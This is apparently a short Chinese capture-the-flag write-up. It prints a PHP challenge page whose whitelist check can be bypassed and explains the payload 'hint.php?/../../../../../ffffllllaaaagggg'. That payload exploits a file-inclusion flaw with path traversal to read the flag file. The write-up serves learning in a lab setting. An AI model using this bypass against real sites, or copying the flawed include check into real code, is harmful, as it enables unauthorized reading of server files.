打开题目,f12发现
<!--source.php-->
hint.png
访问source.php,发现源代码
<?php
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { //in_array(search,array,type) 函数搜索数组中是否存在指定的值。
return true;
}
$_page = mb_substr( //mb_substr — 获取部分字符串
$page,
0,
mb_strpos($page . '?', '?') //mb_strpos — 查找字符串在另一个字符串中首次出现的位置
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page); //urldecode — 解码已编码的 URL 字符串
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img />";
}
?>
- 思路
发现checkFile函数$_page取file参数第一个问号
之前的字段检查文件名是否在白名单内
是构造file参数为hint.php?/../../../../../ffffllllaaaagggg -
原理
原理是hint.php?/被当作目录,之后上跳目录就好了(这个只适用于linux)
image.png